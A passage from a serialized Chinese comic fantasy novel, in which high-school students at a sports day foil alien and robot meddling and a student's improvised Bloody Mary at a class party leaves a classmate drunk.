刘征兰转着杯子:“做法像玛丽大婶子。”
康烁影附议:“玛丽疙瘩汤。”
颜阎已经喝了一口,咂摸两下:“感觉炖牛肉好吃。”
四个人干了杯,都抿了一口,有股刺激的口味,确实像血腥味儿。但是看了做法,谁都没有敬畏之心,只当农夫果园酒精版一样喝,还真有点大人谈正事的氛围。
下面说的就是运动会的事。要是三中真的引起了什么人的兴趣,觉得地球是个风水宝地,一拍脑袋决定:侵略一下吧,那才是大难临头。呼吁网民尊重爬行文明?不现实啊,这就像呼吁大家别跟风去网红景点,会对当地自然环境造成破坏。最后的结果是什么,现代人都有数。
退一万步讲,就算大家都把地球当山坳坳,但要是有那么几个人思路陡峭剑走偏锋,像咚咚上一样觉得三中是掮木的人才培训基地可怎么办?道德是物种进化的刹车片,万一外星物种把道德进化掉了,觉得错杀一万不可放过,让她们和学校一起灰飞烟灭,她们三个死后都得窝囊得牙痒痒。
可是这运动会计分板除了侵犯肖像权,居然没有任何问题!它合法、合规,只是无聊网民的又一场小范围狂欢。而肖像权这东西,在地球和宇宙的网络中都形同虚设,没有任何约束作用。
也就是说,这场运动会计分压根没办法通过举报解决,说不定举报受理人也乐见其成,正在偷偷摸摸把举报短信删除呢!
黑客攻击呢?不太现实。弓粟作为一个意识模型太落后了,她甚至能连上地球的电脑!如果不是历史文化意义,早该被扔进回收站。咚咚的防火墙要是能被她攻破,波卜公司的技术员也该集体去摇果昔了。
那就是说,最后的解决方法就是——
“让外星生物觉得我们很菜。”刘征兰说,“这个我们擅长,我们最会掉链子了。”
119.草坪的复仇
她总是出门领快递。驿站像是大航海时代的码头,工人和水手向港口运输香料、棉花和漂亮的陶瓷器皿。水手问她名字,她拿出学生证、观鸟证、奥特曼证。水手无奈地说:“我是问你快递上的名字好不好?”
她不喜欢身份证,了解一个人的名字、出生日期、身份证号,没有任何用处。就算她不是她,是另一个人,只要有相同的名字、出生日期、身份证号,也能成为她。真正的身份验证应该是别的什么东西,比如她最喜欢的动物是蚂蚁和蜜蜂,不太擅长用手机,参加过读书会,唱歌的时候总是很高兴,会摆孔雀和狼的手影。
妈妈拆开快递盒,里面是一个银色的小话筒。
什么人寄来的呢?是什么人寄来的呢?
妈妈在晚饭时宣布:是家里的电脑寄来的。那台电脑已经很多年没人用了,虽然没坏,但也是个垂暮的老年人啦!今天她打扫书房的时候,发现那台电脑居然开着,外壳还在微微发烫。鼠标左键点击一下,购物界面亮起来,停在小小的、银色话筒的支付上。
不该开免密支付的!——妈妈懊恼地说。
那么买它的是谁?——保姆问。
难说。我觉得是上帝。——妈妈回答,她是个快乐的基督徒。在榕城经济繁荣的那几年,后路的尽头有一间蓝色屋顶、红十字架的二层小教堂,她经常去那里领枣糕。后来教堂荒废,作为代替,她会在礼拜日买泡芙回来。一旦发生了什么令人不快的事,比如女儿考了74、保姆忘了烧水、或者她一不小心买了一个288的漂亮马克杯,她都会说:我猜是上帝做的。
她坚信上帝会做点什么补偿祂的疏忽,这是她愉快的来源。这种单纯令她的疏忽比肩上帝。我们可以庆幸的是,草坪并不认识她,否则一定非常痛恨她一厢情愿的冷酷,将仇恨对象从她的女儿换成她。
她的女儿对花圃的细心令草坪恶心。人类一向肤浅,只浇灌获得的花种,不顾念匍匐的草坪。草坪才是世界的主宰,它兼具数量庞大、对环境有益、城市化等要素,却总是被当作理所当然的风景。
要知道,草坪是一种固定季节的艺术,能把翠绿封存在细细的草根里,像是一艘地面航行的瓶中船。唉,生物总是注意不到,草坪和罐头食品都是来之不易的美好!
人类中也有一些智者,比投机取巧的蚂蚁要聪明,比巨镰傍身的螳螂更有力。它们并不把已有的视作理所当然,而是俯下身,用柔软如藤蔓的头发轻吻泥土。
草坪喜欢这种谦卑。它们的根同在泥土里,被泥土和空气掩埋的洞察回到它们的身体里。
人类遇到狂风般倒伏,绿色的头发萦绕在草坪的心间。它骤然感到头顶的露珠蒸发般轻松。
我们要理解,草坪平日无所事事,因此,它的报复心是很强的。它早早地埋伏在土壤中,将重要的生长、枯萎,排列在复仇的间隙里。
它花费大量时间与蚯蚓、西瓜虫、蚂蚁串通,为蝉的毕业建立十八年的地下别墅,妥善照顾小亭沉入地底、年久失修的台阶;让草叶间结出奶油般香甜的蛇果,吸收树冠抛弃的腐败树叶带来的美餐;将褐色的泥土密封在草根的罐子里,和鸟、黄鼠狼、蛇互相拜访,偶尔也让体育课的学生们做一下足底按摩,或者给逃跑的羽毛球提供住处。
这是无比美妙的过程,草坪沾沾自喜。
黄鼠狼同意,它吃掉蛇果,脚丫踩中一块软土。蝉尖叫,把吃西瓜虫和蚯蚓的鸟吓跑,羽毛球拽着鸟腿起飞,被树冠拦住。习惯性来草坪按摩的学生的银色话筒发出了微弱的震动,正正好好符合了树冠颤动的某个频率。树冠鼓掌,羽毛球翩然下落。
遭羽毛球砸中的大祭司被草坪下的台阶绊倒,脚踝扭伤,咬破腮帮。
扶起她的十八妹大喊:“这里什么时候有的台阶!”
总而言之,不要招惹草坪。
涨落之潮支持的明星选手大祭司伤重不治,请求退赛。
“不是……”前来救人的男同学也很疑惑,“这台阶是一直有的吗?”
“不是。”体育课不爱下楼的颜阎也很疑惑,“这么多蛇果和虫子和鸟是一直有的吗?”
飞飞用小爪子按住录音键,大声吱吱吱:“这个植物的生长速度!一定是藤发人!它们不想涨落之潮得意,故意袭击你们的同学!”
颜阎挠头:“可是大祭司也没用啊!她跳高的!她那身高连我都不如。”
话音刚落,男子跳高区传来一声声惊呼:“1米8!一米9!2米!破了破了!学校记录破了!直接上2米3!”
“2米3……2米3……破了!破了!省记录!”
“2米4!破了!全国纪录!”
“2米5!破了!全球记录!”
成为世界第一的一米六男同学指着自己:“啊?我?”
飞飞展示:“就像那样!”
……有点惊悚了。
康烁影立刻拽着飞飞和球球上前解围:“哎呀老周你跳这么搞!给我看看!”
球球紧急投下折射影像,让跳高杆看上去矮了一点。飞飞疾速跑过去,亮出化妆刷厚油彩,简陋地做了点伪装。
康烁影一站过去,所有人都能看出来跳高杆有问题。
所谓的2米5距离她的头顶只有一掌高!
体育老师在旁边挠头:“这学校的东西咋没一个好使的。”
康烁影揶揄:“老学校了,您都在这儿上的学。”
男子跳高暂时延后,男同学一拥而散,回座位上打排位吃零食了。一米六男子拽着康烁影说幸好幸好,我还以为要被省队抓去训练了。
颜阎一想到有一大群人对着自己指指点点,浑身不自在。接回大祭司就往顶着校服外套跑来二班:“情况怎么样?”
律易棋没有继续往回发消息,不知道这人现在在干嘛。
“藤发人有动静,说明我们的担忧是对的。”刘征兰道,“真的会有外星势力介入咱们的校运会。”
“那我们不能太招摇。毕竟手里有呼叫中心,还有律易棋。”康烁影道。
其实还有九千。
刘征兰和颜阎对视一眼,决定不告诉康烁影,不然她必酸溜溜:“啊?你们两个搞活动不告诉我?”
“咱仨分开行动。”颜阎把手一拍,“康女士你人缘好,去看看男子组那边。我脸皮厚,去看一三五班。刘女士自由行动?”
三个人都认下了自己的工作,各自解散,临走前还分了奥利奥。
康烁影溜达去铅球男子组。看到她来,好几个男同学热热闹闹地把她架到最场边:“康师傅来了康师傅来了,来给我们挡铅球。”
康烁影挥开他们:“滚滚滚。”
围观的人也招呼扔铅球的那个:“扔个好点的!别让康师傅看笑话!”
在扔铅球的男生立刻鼓起自己的胳膊:“看看我的大肌肉!”
康烁影:“鸡架。”
男生狂笑至脱力。
充当裁判的英语老师吹哨:“再不扔把你罚下去。”
男生举起铅球,勉强把3千克的铁球举到与头平齐,然后他一脚迈向前方,手臂的弯折,让人想到古代攻的投石机。
肌肉暴涨,全力一击!
“咪!”
戴项圈的橘猫从人群中窜出,一头撞在男生腿上。男生大叫一声,铅球角度剧变,指向围观人群。
康烁影原地起飞蹦到草坪上,一脚踩出一个鞋印。
草坪:?
围观者也纷纷跳开,尽管无人受伤,哀嚎仍不绝于耳。
“橘橘国王!”男生哀嚎,“把我给你的火腿肠吐出来!”
裁判吹了声哨子:“请选手不要袭击同学。”
选手羞愤交加:“老师!这个是不可控因素!”
裁判点头:“再给你一次机会。”
男生再次对着朋友们拍拍自己贫瘠的肩膀,摆出健美运动员造型,他的朋友纷纷喝倒彩。
“唉。”观众里有人问,“康烁影呢?”
康烁影钻进亭子里。
橘猫躺在地上翻出肚皮,乖巧地咪咪喵喵,坐在里面的几个同学夹着嗓子跟它对喵。还有几个人扒拉着它脖子上的项圈:“橘橘宝宝你什么时候变成家养的了?”
橘猫蹭着同学的手,嘴里吐出来的话却十分恶劣:“老大喵,这里的比赛太不规范了咪,居然还给第二次机会的喵!真的不是我不努力喵!”
项圈里传来更加冷酷:“跟自己人说话不要咪咪喵喵!”
橘猫翻了个身:“老大!怎么办!”
“怎么办?”项圈里声音冰冷,“当然是完成任务。修·萨提恩·帕尔维多斯塞,我知道这项工作很困难,但是我们也有自己的难处。我们要互相体谅,携手并进。难道你想让可恶的人类和智械出风头吗?”
“不想!老大!”
“那就去吧!祝你好运,等你回来之后,你就是我们觉醒联盟的英雄!”
“好的老大!”
“不行的老大!”康烁影抓起它的脚,“你被俘虏了喵!”
小猫来自觉醒联盟,是一只霓虹派的小猫。本来已经移民地球十几年,今天突然接到昔日恩师的联系。恩师情绪激动心情激荡:“修·萨提恩·帕尔维多斯塞,你回报我的机会来啦!”
不适应城市生活,又不愿意成为原始派,只能靠老师的帮助移民地球释放天性的修·萨提恩·帕尔维多斯塞说:“老师,您请讲。”
“找一张地球标准的世界地图,对着这个栅格地图对照一下。看到这个地区了吗?”
“看到了老大!”
“老师……算了你也没改过。放大,放大,放大再放大,啧,你都过河了,回来一点,对了,对对对就是这个地方。看到那个学校了吗?”
“看到了。”修·萨提恩·帕尔维多斯塞壮志凌云,“您说吧!到底是讨债还是寻仇,就算是杀人,我也在所不惜!”
“没让你做那些缺德事。”老师情绪愈发激动,“看咚咚了没?我要你把讨论榜第八那个男的拉下来!他是和平联合看好的人!我要你阻止他比赛!”
“你不会以为人类都分不出你和别的橘猫吧!我可是喂了橘橘国王好久!”康烁影把它抱走:“现在你和你的老师失败了。”
项圈里狂吼:“你这可恶的黑色恶魔、没有胡子的混蛋、只能吃熟食的垃圾!”
飞飞是一只非常护短的蜜袋鼯,它仗着对面不认识自己骂回去:“反弹!反弹!”
修·萨提恩·帕尔维多斯塞一边附和一边用爪子拽康烁影的头发:“黑色恶魔黑色恶魔!”
康烁影一甩刘海:“再说一遍!我这是栗色!”
铅球压倒一大片草坪,非常方便裁判记数。场地内沉默数秒,随后欢呼。男生获得了第三的好成绩。
康烁影得意洋洋,掰开橘猫捂着眼睛的爪子:“快看快看,快来见证人类的胜利咦咦咦……?”
她踩到一条黏糊糊蚯蚓,脚下猛滑,一屁股坐在草坪上。
橘猫见大势已去,立刻转身逃跑。
还是那句话,不要招惹草坪。
手机振动两下,康烁影打开四人群聊,是律易棋自拍。颜阎大怒,用她那个破烂手机咣咣发消息:不是,朋友。干点正事好不好?
律易棋圈出自己手里黑色机器:“正事?”
群内沉默数秒。
此地不宜久刘:哥们儿,那是无人机。
此地不宜久刘:你快给我们校长还回去,再这样下去我们就集体去当偶像了。
所有人:唉那这个呢?
所有人:[图片]
群内再次沉默。
超级无敌筷子侠:大爷的
超级无敌筷子侠:这是温蒂妮
颜阎来去自由,没有比赛的压制,抓上手机就往草坪附近跑。超级无敌筷子侠康烁影迎面而来。两人闪进厕所,康烁影撑包,颜阎一个大跳钻入呼叫中心,在学校北面的农田落脚。
温蒂妮倒在老乡的坟包上装死。律易棋一手讯传一手把它往土路上拖。
颜阎看了一眼脚下的路,太脏了不能坐,干脆流里流气蹲下:“姐们儿忘了咱们上次见面发生啥了?”
温蒂妮装死。
颜阎踩在它脑袋两侧,作势要再次拔它脑袋。
“松手!松手!”温蒂妮震怒。它倒是不怕律易棋,掮木名声较好,不太可能毁尸灭迹。但颜阎一个爬行文明的学生,下手没轻没重,真有可能把它弄坏,“我干什么了?我就用用肖像权,又不犯法!萝比厄尔都能播,我就不能播?我还特意把你们打码了!低劣的种族都是这么不知回报的?”
颜阎放开它。律易棋也顺势蹲下:“你总不会做没收益的事。说吧,这场直播怎么赚钱?暗开赌盘?倒卖动植物?还是……”律易棋拉长语调,表情在阴影里闪动,“出卖掮木的情报?”
“雇佣。”
“……啊?”
“昂。”温蒂妮一个鲤鱼打挺坐起来,“三中在咚咚上火了。有人想看你们校运会,我就在无人机上插了个信号传输,再发到咚咚上,载体就是我自己。钱一次结清,非常方便。”
律易棋不信:“一开始那张照片不是你发的?”
“不是啊。”温蒂妮冤枉,“我发你们干啥?你们曝光率高,沙拉曼达干的破事不就容易被发现吗?他虽然已经挂了,但我还活着!万一他被彻查,我就彻底完蛋了!”
颜阎:“你确定?”
温蒂妮再发誓:“我认识发帖人。”
发帖人是在首都工作的前线报社记者,廉人钺礼,经常在炼金商会购买日用品,温蒂妮有她的咚咚号。
“她最近发达了,第一时间就给家里定了个环绕音响。”温蒂妮道,“低等种族就是喜欢出卖同胞——哦对,你们是爬行文明,在宇宙文明眼里,你们也不算同胞,大概就像人类看猩猩吧。”
颜阎说:“哦~家庭关系不和睦不得不跑到自己看不起的爬行文明出卖自尊,末了还后悔了,差点哭着跑回家里。你比我们高贵到哪里去?”
律易棋一把捂住她的嘴:“别飙垃圾话,还要问呢。”
“他说的对。”温蒂妮冷冷道,“本来我会说的,现在我不想说了。”
律易棋拿起扳手。
“我错了。”温蒂妮冷静,“我问了钺礼,她没隐瞒信息源,说是一个人给她提供的消息,智能体在三中。”
“智能体真的很重要吗?我怎么感觉只是一个……呃……实验道具?”颜阎道,“你看沙拉曼达也不是很好使。”
律易棋摇头:“这关乎大一统公式。从古至今都有人试图破解它,但是至今没有人成功。数演学家已经证明,大一统公式必然是某种四海皆准的东西,如果世上真的有统一万物的答案,那么万物中也会有它的投影。所以大一统公式的面貌不仅是一串公式,也可能是一颗细胞、一种思想、一句谶语。智能体在寻找的,就是一个四海皆准的‘目标’。”
听起来像是增加文科生就业岗位的玩意儿。
颜阎紧张:“你可别让刘征兰听到这话,她要发疯的。万一大一统公式是爱,那她得气死。”
“放心吧。曾有一些宗教人士宣称大一统公式是爱,但是逆熵脑——本来应该是熵脑却意外成了人类的人,你们称之为反社会人格——一把火烧了他们的教堂。所以爱这个情绪已经被否了。”律易棋耸肩,“但是大众还是愿意希望爱是最终的答案,所以他迫于正确性,造了个代表爱的智能体。”
颜阎松了口气:“呼唤大家都别爱。”
“啊。”温蒂妮一顿,“我想起来她问过我,‘神瀵’能否贩卖
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。”
“智能体的燃料?”律易棋若有所思,“不能吧,智能体一直在我……不对,这不是偃专门制作的非卖品吗?”
“所以我才觉得很奇怪。”温蒂妮摊手,“她还给我引荐过一个蓝头发的客人。那个人零零散散买了一堆小零件,我也看不出来是干什么的。”
“有建模吗?”
温蒂妮点头:“我们智械有录像。”
它把建模投影到空中的气体颗粒上。
是个男人,穿着卫衣,帽檐下露出一点蓝头发。根据颜阎追熵脑的经验,和平联合的人身上往往会带着一个名叫义友的小型浮游装置,这个人没带,估计是婆旦的人类。
颜阎捣了一下律易棋,想问他的看法。却发现他愣在那里,半晌没有说话。
“……瓦令?”
律易棋和颜阎迟迟没有回消息,她们的消息源完全被切断了。
刘征兰很急,这种有活干又不知道具体要干什么的感觉让她很焦虑。发令枪、同学的喝彩、小喇叭的播报和运动员进行曲几乎要把她逼疯。
康烁影见她烦到脚掌跺地,赶紧给她派活:“你去拦一下宋悦馨。我看她在讨论榜上热度挺高的。”
她在父亲节那天和父亲互相给了八分,是难得比较坦诚的父女。
刘征兰从焦虑变成痛苦:“必须去吗?”
“她刚才200米还拿了个小组第三,都进半决赛了。”康烁影眨着无辜的眼睛,“我刚才可是碰到灵肉猛撞铅球男。要是你发小被智械什么的当头一棒,变成奥巴拿拿那个样子可完蛋啦。”
“为什么你不去?”
康烁影装可怜:“你和她是发小嘛。”
刘征兰叹气:“好吧。宋悦馨在哪?”
宋悦馨在四班。
二班至少算是井然有序,参赛的参赛,写稿的写稿,玩游戏的玩游戏。而四班已经完全无法无天了。
四班不仅带来了普通的垃圾食品,还带来了一个主要装瓜子壳、次要装包装袋的崭新垃圾桶,一罐韭黄,一瓶玫瑰盐、三袋切片面包、两碗直接端来的泡面,最重要的是,他们带了酒!
雪花、RIO、乌苏、菠萝啤、伏特加、金酒……应有尽有,学生该喝不敢喝的都在这儿了。
女生结成小群,喝自己的酒,有时候嘻嘻哈哈地互相交换尝两口,或者把酒兑到一起尝尝味道。喝得龇牙咧嘴愁眉苦脸的,只有少数几个真心爱上了。
男生坐在几扎啤酒上,大声干杯。有女生来问他们借点啤酒兑一兑,他们就欢乐地提起乌苏:“我们吃烧烤经常喝的!”
“是吗?”来借酒的公冶长漫不经心。
“是啊是啊!很烈的!”
公西华笑着:“是吗。”
男同学们依然很高兴。这可是他们烧烤时喝的!他们经常喝的乌苏!
宋悦馨在这帮人里面,跟男生坐得近一点。看到刘征兰有点惊讶:“你不去跑800?”
刘征兰说:“八百被男子跳高压过去了,下午才能跑。”
宋悦馨微笑着晃动一次性纸杯:“你来喝口?进入社会也要喝的。”
“不……呵……袄……好……”刘征兰硬生生改口,“老师发现怎么办?”
宋悦馨奇怪地看了她一眼:“老师没说就是可以,老师发现那就不喝。”
她犹豫期间,宋悦馨又催她:“快点!我一会儿还要去写比赛、通讯稿、给运动员递毛巾、收拾主席台的桌子!忙着呢!”
宋悦馨当狗腿子当久了,大家都差点忘了这家伙执行力有多强,放在古代不是锦衣卫就是贴身近卫。刘征兰一咬牙:“你……你喝点?我会调酒……”
宋悦馨手一抖,杯子落在草坪上。
草坪:。
“你……你会……啊?你会这些?”她警觉,“你不是要用硫酸调酒吧?”
刘征兰咋舌:“我在你心里到底是什么人?”
“那你怎么?”
“呃……”刘征兰仰头,“为……进入社会……做的准备。”
非常假,一听就露馅。
幸好宋悦馨理解偏了:“也是,说不定有些领导就走高端路线。到时候你还能露一手。”她把一个新的一次性杯子从杯塔里抽出来,“你要给我调个什么?”
“血腥玛丽。”她刚喝过。
刘征兰从小就是好学生,谈不上过目不忘,但是七天云储存还是有的。律易棋当初往里面放了什么,她就往里面放了什么。至于比例就不能考虑了。她看着宋悦馨好奇的表情,心想能拖几分钟拖几分钟,实在不行把酒泼她头上,让她和自己打一架。
第一步,番茄汁。
哪有番茄汁?
北极兔把自己的番茄汁递过来:“周边产品了解一下。”上面还贴着一个不认识的红毛,算了世界上所有的同人女都一个样,用就是了。
盐、胡椒、辣椒酱……
公冶长拿出盐、孜然、辣椒酱。
凑合一下吧。柠檬汁有,拿水溶c对付一下。
薄荷和芹菜?
大祭司说:“我去马老师的小菜园给你薅两根——”
伏特加就更不缺了,好几个人都带了。刘征兰咕嘟咕嘟倒了小半瓶。
杯口的盐花?用酒蘸了蘸,往玫瑰盐里滚一圈。
居然真的调出来了。刘征兰自己都不敢相信。四班人究竟带了什么来运动会?
听说有人在调酒,整个年级一下子围过来,还拿了个一升的冰红茶瓶给她发挥。大业已成,所有人面面相觑。
宋悦馨难掩无语:“番茄胡辣汤?”
“就是这个配方!”至少律易棋是这么调的。
恋爱脑给她捧场:“真的是这样做的。我看过。”
恋爱脑家境比较好,大家自然而然地相信她在现实中看过:“那应该就是这样了。”
一群人举着杯子往前凑,把这可怜的一升“血腥玛丽”分了干净。宋悦馨接了最多,杯口都快要溢出来,她赶紧啜了一口。
她的脸向中心坍缩。
“这什么味儿!”
大祭司抿了抿:“腥涩,确实是血味儿——”
恋爱脑喝了一口,整张脸皱起来:“呃……至少难喝是没错的。”
她们俩都这么说了,其他人也逐渐接受了这杯饮料的口味:反正酒本身也不好喝,也许高端酒就是更难喝吧!
宋悦馨不喜欢被落下的感觉,她强撑着喝了半杯,心口不一地称赞:“刘征兰你不错嘛!这么有实力!Bloody Mary都会调。”
清酒红人面,她就是脸红很明显的那一类,脖子往上和酒一个颜色。
和她关系好的几个男生起哄:“不行啊宋姐!少喝点吧!”
二班的学习委员在旁边起哄:“多喝多喝!不喝你是我大儿!”
宋悦馨轻轻巧巧抽了对方一下:“烦人!看你爹怎么喝吧。”
她把酒一饮而尽。放下杯子时明显向外吐了口浊气。
“再来两口?”刘征兰加班加点赶制血腥玛丽。
“不来了。”宋悦馨摆摆手,“要去跳远了。”
“一口。”
“真不来了。”
宋悦馨站起来抻懒腰,捏着一次性杯子往垃圾桶走过去。她的小姐妹们跟她一起,男生想跟,被嘻嘻哈哈的笑声屏退了。刚才劝酒的学习委员还想跟上去,伸手搭宋悦馨肩膀。
宋悦馨丝滑转身,露出前无古人后无来者的爽朗笑容,右手后摆身体微侧,行云流水般把半杯血腥玛丽泼到学习委员脸上。
“啊!”商博良大叫,“我的酒!”
罪魁祸首翩然倒地,一头摔进草坪里。
宋悦馨,喝醉,退赛。跌出咚咚积分榜。
以及,再说一遍,不要招惹草坪。